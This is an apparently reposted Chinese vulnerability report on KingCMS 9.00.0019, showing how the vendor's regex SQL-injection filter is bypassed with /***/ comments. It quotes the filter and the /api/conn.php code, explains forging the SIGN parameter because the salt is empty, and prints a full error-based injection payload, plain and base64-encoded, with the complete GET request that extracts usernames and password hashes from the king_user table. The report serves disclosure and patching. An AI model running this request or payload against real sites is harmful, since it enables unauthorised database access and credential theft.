IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    KingCms最新版绕过补丁(版本:9.00.0019)注入6枚

    没穿底裤发表于 2015-10-09 12:51:21
    love 0

    漏洞作者: 路人甲

    详细说明:

    朋友的公司购买了kingcms的授权,最近kingcms官方给我朋友发来了升级包,升级说明当中说已经解决了已知的安全问题,今天再帮朋友测试下。

    自从朋友购买,已经经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018,在线升级的话可以升级到9.00.0019了,kingcms服务还不错。9.00.0018的更新时间是2015.07.23,9.00.0019的更新应该是最近几天的事情。见官网http://www.kingcms.com/download/k9/

    版本信息

    2423592784bd27b451cceff382313a460b11459b[1]

    另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作)

    既然是绕过补丁,那还是先来回顾一下以前的版本是如何过滤的,主要包括9.00.0014及以前,9.00.0015版,9.00.0016-9.00.0018版。我们来具体研究学习一下:

    9.00.0014版及以前各版本:

    直接获得用户提交的参数,没有过滤,直接带入了SQL执行。

    9.00.0015版:

    由于我已前提交的漏洞已经公开,在9.00.0015版中添加了过滤,打了补丁,这里只把过滤方法拿出来,方便后面对比。之前的绕过防注可以看这里http://wooyun.org/bugs/wooyun-2015-0100601

    /**
    
             * 参考Discuz!及阿里云 云体检通用漏洞防护补丁
    
             */
    
            public function safecheck($sql){
    
                    $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
    
                    $cmd = strtoupper(substr(trim($sql), 0, 3));
    
                    if (!in_array($cmd, $checkcmd)) {
    
                            return TRUE;
    
                    }
    
                    $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
    
                    if (preg_match("/" . $disablesql . "/is", $sql) == 1) {//注意看这里,使用正则把上面列出的关键字给过滤掉了。这个地方与后面版的过滤函数有所不同,请注意对比
    
                            return FALSE;
    
                    }
    
                    return TRUE;
    
            }
    
    }

     

    9.00.0016-9.00.0019版:由于上面的补丁被成功绕过,kingcms又进行了修复更新,具体的补丁是这样的。

    /**
    
             * 参考Discuz!及阿里云 云体检通用漏洞防护补丁
    
             */
    
            public function safecheck($sql){
    
                    $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
    
                    $cmd = strtoupper(substr(trim($sql), 0, 3));
    
                    if (!in_array($cmd, $checkcmd)) {
    
                            return TRUE;
    
                    }
    
                    $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
    
                    if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {//注意看这里,不但使用正则把上面列出的关键字给过滤掉了,而且过滤了/**/,这里kingcms只所以这样过滤,就是因为最上面的过滤方法被我使用/**/给绕过了,所以,这里的修复方法就是把/**/也过滤掉了。但是,今天这个漏洞就是展示如果再次绕过这种防注。请注意对比
    
                            return FALSE;
    
                    }
    
                    return TRUE;
    
            }

     

    可以看到这两次补丁的最大不同就是最新版过滤了/**/,只所以过滤/**/,是因为我在9.00.0015版中使用/**/绕过了kingcms使用正则表达式进行防注过滤的补丁,这次提交的漏洞将绕过kingcms的最新补丁进行注入。

    注入点:GET

    GET /api/conn.php?USERID=MTAwMDA%3D&data=U0VMRUNUIHVzZXJuYW1lIEZST00ga2luZ191c2VyIFVOSU9OIFNFTEVDVCAxIEZST00oLyoqKi9TRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKC8qKiovU0VMRUNUIGNvbmNhdCh1c2VybmFtZSwweDIzLHVzZXJwYXNzKUZST00ga2luZ191c2VyIExJTUlUIDAsMSksMHgyMyxGTE9PUihSQU5EKDApKjIpKXggRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEudGFibGVzIEdST1VQIEJZIHgpYQ==&jsoncallback=jsonp1426001109856&SIGN=771bad1adb28356cc365bfcfb87c759b&_=1426001137223 HTTP/1.1

    这个注入点比较奇怪,因为数据库执行的语句全部都由用户输入,但是经过了base64编码,base64_decode后就可以绕过第一层的过滤了。

    注入参数:data_one,data,count,newid,getdir,getfile

    下面以data为例进行说明

    问题文件在/api/conn.php

    $str=new str;
    
    $db=new db;
    
    $file=new file;
    
    if(empty($get['SIGN'])) exit($jsoncallback.'('.json_encode(array('error'=>'丢失密文,禁止解析!')).')');
    
    //验证权限
    
    $sign=$get['SIGN'];
    
    unset($get['SIGN'],$get['_'],$get['jsoncallback']);
    
    $arr=array();
    
    foreach($get as $key => $val){
    
    	$arr[$key]=$key.'='.urlencode($val);
    
    }
    
    ksort($arr);
    
    $param=implode('&',$arr);
    
    $sign1=md5($param.kc_config('system.salt'));
    
    if($sign!=$sign1) exit($jsoncallback.'('.json_encode(array('error'=>'审核失败,数据不一致!')).')');
    
    
    
    $arr=array();
    
    $get=array_map('base64_decode',$get);
    
    foreach($get as $key=>$val){
    
    	if(substr($key,0,8)=='data_one'){
    
    		$arr[$key]=$db->get_one($val);
    
    	}elseif(substr($key,0,4)=='data'){
    
    		$arr[$key]=$db->get($val);
    
    	}elseif(substr($key,0,5)=='count'){
    
    		$res=$db->get($val);
    
    		$arr[$key]=empty($res[0]['c']) ? 0 : $res[0]['c'];
    
    	}elseif(substr($key,0,5)=='newid'){
    
    		list($table,$id)=explode('|',$val,2);
    
    		$arr[$key]=$db->newid($table,'',$id);
    
    	}elseif(substr($key,0,6)=='getdir'){
    
    		list($path,$filetype)=explode('|',$val,2);
    
    		if(empty($filetype)) $filetype='*';
    
    		$arr[$key]=$file->getDir($path,$filetype);
    
    	}elseif(substr($key,0,7)=='getfile'){
    
    		$arr[$key]=$file->get($val);
    
    	}elseif(substr($key,0,6)=='config'){
    
    		$arr[$key]=kc_config($val);
    
    	}elseif(substr($key,0,6)=='isfile'){
    
    		$arr[$key]=is_file(ROOT.$val)?1:0;
    
    	}
    
    }

     

    首先要绕过上面代码中的权限判断,其实就是计算出$sign1,然后使$_GET[‘SIGN’]与之相等即可。来看看$sign1是如何计算出来的

    foreach($get as $key => $val){
    
    	$arr[$key]=$key.'='.urlencode($val);	
    
    }
    
    ksort($arr);
    
    $param=implode('&',$arr);
    
    $sign1=md5($param.kc_config('system.salt'));

    参与计算的参数只有kc_config(‘system.salt’)不是用户输入的,但是kingcms的这个参数是空,此因所有参与计算的参数都是用户输入的,按上面的算法简单计算一下就知道$sign1了,然后输入的$_GET[‘SIGN’]等于$sign1即可绕过权限判断。

    然后执行下面的代码

    public function get($sql) {
    
    
    
    		$res=array();
    
    		$this->query($sql);
    
    		if (empty($this->query_ID)) {
    
    			return array();
    
    		}
    
    		$rows=mysql_num_rows($this->query_ID);
    
    
    
    		for($i=0;$i<$rows;$i++) {
    
    			if(!mysql_data_seek($this->query_ID,$i)) {
    
    				kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>');
    
    			}
    
    			$rs=mysql_fetch_array($this->query_ID);
    
    			foreach ($rs as $k=>$r) {
    
    				if (is_int($k) && $k!==0) {
    
    					unset($rs[$k]);
    
    				}
    
    			}
    
    			$res[$i]=$rs;
    
    		}
    
    		//释放资源
    
    		$this->free();
    
    
    
    		return $res;
    
    
    
    	}

     

    又执行了下面的代码

    public function query($sql) {
    
    		if(!$this->safecheck($sql)){
    
    			if(AJAX){
    
    				$tip='数据查询错误:'.$sql.'\n';
    
    			}else{
    
    				$tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>';
    
    			}
    
    			kc_tip($tip,'form');
    
    		}
    
    
    
    		if(!isset($this->link)) {
    
    			$this->connect();//判断数据库连接是否可用
    
    		}		
    
    		
    
    		@mysql_query('set names '.DB_CHARSET);//设置字符集
    
    		$this->query_ID = @mysql_query($sql);
    
    
    
    		//错误反馈
    
    		$errid=mysql_errno();
    
    		if(!empty($errid) && $this->debug==true){
    
    			echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>');
    
    		}
    
    
    
    		return $this->query_ID;
    
    	}

     

    在这个函数里执行了safecheck($sql),就是上面我们分析的防注方法

    /**
    
             * 参考Discuz!及阿里云 云体检通用漏洞防护补丁
    
             */
    
            public function safecheck($sql){
    
                    $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
    
                    $cmd = strtoupper(substr(trim($sql), 0, 3));
    
                    if (!in_array($cmd, $checkcmd)) {
    
                            return TRUE;
    
                    }
    
                    $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
    
                    if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
    
                            return FALSE;
    
                    }
    
                    return TRUE;
    
            }

     

    通过分析代码我们有了以下基本想法:

    1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配

    2、构造的sql语句能被符合sql的语法规则。

    最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select……这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。

    然后又想到使用/***/,str_replace(‘/**/’, ”, $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。

    提交的payload要经过base64_decode处理,因此在提交前先base64_encode一下就可以了。

    Kingcms可以报错,因此

    编码前Payload:

    SELECT username FROM king_user UNION SELECT 1 FROM(/***/SELECT COUNT(*),CONCAT(0x23,(/***/SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a

     

    编码后Payload:

    U0VMRUNUIHVzZXJuYW1lIEZST00ga2luZ191c2VyIFVOSU9OIFNFTEVDVCAxIEZST00oLyoqKi9TRUxFQ1QgQ09VTlQoKiksQ09OQ0FUKDB4MjMsKC8qKiovU0VMRUNUIGNvbmNhdCh1c2VybmFtZSwweDIzLHVzZXJwYXNzKUZST00ga2luZ191c2VyIExJTUlUIDAsMSksMHgyMyxGTE9PUihSQU5EKDApKjIpKXggRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEudGFibGVzIEdST1VQIEJZIHgpYQ==

    注入成功,见下图

    24235906b202f64ea81367c7d6608a48f977fe64[1]



沪ICP备19023445号-2号
友情链接